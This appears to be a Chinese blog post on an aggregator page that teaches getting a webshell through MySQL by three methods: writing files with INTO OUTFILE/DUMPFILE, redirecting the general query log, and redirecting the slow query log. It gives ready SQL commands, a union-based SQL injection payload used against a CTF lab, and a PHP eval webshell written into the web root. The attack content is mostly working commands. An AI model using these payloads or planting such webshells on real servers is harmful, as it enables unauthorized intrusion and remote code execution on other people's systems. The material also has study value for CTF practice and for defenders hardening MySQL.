当前位置: 首页 > news >正文

Mysql数据库getshell方法

今天摸鱼时候,突然有人问我不同的数据库getshell的方式,一时间我想到了mysql还有redis未授权访问到getshell的方式,但是仅仅第一时间只想到了这两种,我有查了查资料,找到了上面两种数据库getshell的补充,以及其他数据库getshell的方式。因此更新一个专栏,各个数据库getshell的方式。

目录

1.outfile和dumpfile写shell

条件

 命令参数

靶场

2.全局日志

条件

命令

3.慢查询getshell

前提

原理

命令参数

靶场


1.outfile和dumpfile写shell

条件

1.数据库当前用户为root权限

2.知道当前网站的绝对路径

3.PHP的GPC为 off状态(魔术引号,GET,POST,Cookie);

4.写入的那个路径有写入权限

 命令参数

show global variables like '%secure%';    ##查看secure-file-priv值
select group_concat(user,0x3a,file_priv) from mysql.user;         ##查看当前用户是否有写权限,Y代表有
select '<?php phpinfo() ?>' into outfile '/www/work/webshell.php'; ##写shell多种方式outfile,dumpfile,具体分析 若内容存在引号,会存在语法错误

靶场

ctfshow web171进行尝试:

可以看到是Y,有写入的权限

99' union select 1,2,group_concat(user,0x3a,file_priv) from mysql.user;%23

可以看到写入成功了:

99' union select 1,2,"<?php eval($_POST[1]);?>" into outfile '/var/www/html/1.php;%23

接下来就可以执行命令找到flag了.

后续渗透可以在我以下这篇文章中找到:CSDN

这里不过多演示。

2.全局日志

条件

  • Web 文件夹宽松权限可以写入

  • Windows 系统下

  • 高权限运行 MySQL 或者 Apache

MySQL 5.0 版本以上会创建日志文件,可以通过修改日志的全局变量来 getshell

命令


show variables like '%general%'; set global general_log = on;
set global general_log_file = '/www/xx.php'; select '<?php eval($_POST['apple']);?>';
修改为原来路径,再关闭
set global general_log_file='/xxx/xxxx' set global general_log = off;

3.慢查询getshell

前提

1、知道网站真实物理路径

2、root用户身份

3、MySQL 版本 > 5.0

原理

慢查询日志,只有当查询语句执行的时间要超过系统默认的时间时,该语句才会被记入进慢查询日志一般都是通过long_query_time选项来设置这个时间值,时间以秒为单位,可以精确到微秒。如果查询时间超过了这个时间值,这个查询语句将被记录到慢查询日志中。

命令参数

查看服务器默认时间值方式如下:

show global variables like '%long_query_time%'
show global variables like '%long%'

查看慢日志参数:


show global variables like '%slow%'

对慢日志参数进行修改:

set global slow_query_log=1 #打开慢日志
set global slow_query_log_file='/var/www/html/1.php'#慢日志的路径
注意:一定要用双反斜杠
SELECT '<?php @eval($_POST[1]);?>' or sleep(11)
这儿11是超过慢日志的10秒时间

靶场

查询是否开启:

开启:

可以看到文件大小发生变化,文件写入成功了,这里不细利用,可以利用工具进行webshell连接。

相关文章:

  • 访问网站时你的电脑都做了什么
  • 如何批量获取商品详情数据(淘宝1688京东商品采集示例)
  • 2024/4/9
  • 数据驱动决策的秘密武器:一探FineBI的核心功能
  • spikingjelly学习-训练网络
  • ssm034学生请假系统+jsp
  • 路由器拨号失败解决方法
  • React中的函数组件和类组件的区别
  • golang变量初始化顺序
  • ubuntu20.04 运行 lio-sam 流程记录
  • 使用Java流API构建树形结构数据
  • 5.网络编程-socker(golang版)
  • 适用于车载设备无钥匙进入系统汽车用晶振FA-238A
  • 非关系型数据库Redis部署与常用命令
  • 若依自带vue-cropper上传图片(可旋转、缩放)
  • 【划重点】MySQL技术内幕:InnoDB存储引擎
  • 30秒的PHP代码片段(1)数组 - Array
  • Angular2开发踩坑系列-生产环境编译
  • angular2开源库收集
  • C++入门教程(10):for 语句
  • crontab执行失败的多种原因
  • extjs4学习之配置
  • Java读取Properties文件的六种方法
  • overflow: hidden IE7无效
  • python学习笔记-类对象的信息
  • SegmentFault 技术周刊 Vol.27 - Git 学习宝典:程序员走江湖必备
  • Sequelize 中文文档 v4 - Getting started - 入门
  • Spark RDD学习: aggregate函数
  • 闭包--闭包之tab栏切换(四)
  • 讲清楚之javascript作用域
  • 如何打造100亿SDK累计覆盖量的大数据系统
  • 如何借助 NoSQL 提高 JPA 应用性能
  • 小程序上传图片到七牛云(支持多张上传,预览,删除)
  • 携程小程序初体验
  • Salesforce和SAP Netweaver里数据库表的元数据设计
  • 策略 : 一文教你成为人工智能(AI)领域专家
  • ​LeetCode解法汇总2583. 二叉树中的第 K 大层和
  • $ is not function   和JQUERY 命名 冲突的解说 Jquer问题 (
  • (Note)C++中的继承方式
  • (ZT) 理解系统底层的概念是多么重要(by趋势科技邹飞)
  • (博弈 sg入门)kiki's game -- hdu -- 2147
  • (二)Linux——Linux常用指令
  • (附源码)ssm高校志愿者服务系统 毕业设计 011648
  • (一)Dubbo快速入门、介绍、使用
  • (一)kafka实战——kafka源码编译启动
  • (一)RocketMQ初步认识
  • (一)认识微服务
  • (最简单,详细,直接上手)uniapp/vue中英文多语言切换
  • .NET / MSBuild 扩展编译时什么时候用 BeforeTargets / AfterTargets 什么时候用 DependsOnTargets?
  • .net core Swagger 过滤部分Api
  • .NET 设计模式初探
  • .NET 应用架构指导 V2 学习笔记(一) 软件架构的关键原则
  • .NET/C# 编译期能确定的字符串会在字符串暂存池中不会被 GC 垃圾回收掉
  • ?.的用法
  • @autowired注解作用_Spring Boot进阶教程——注解大全(建议收藏!)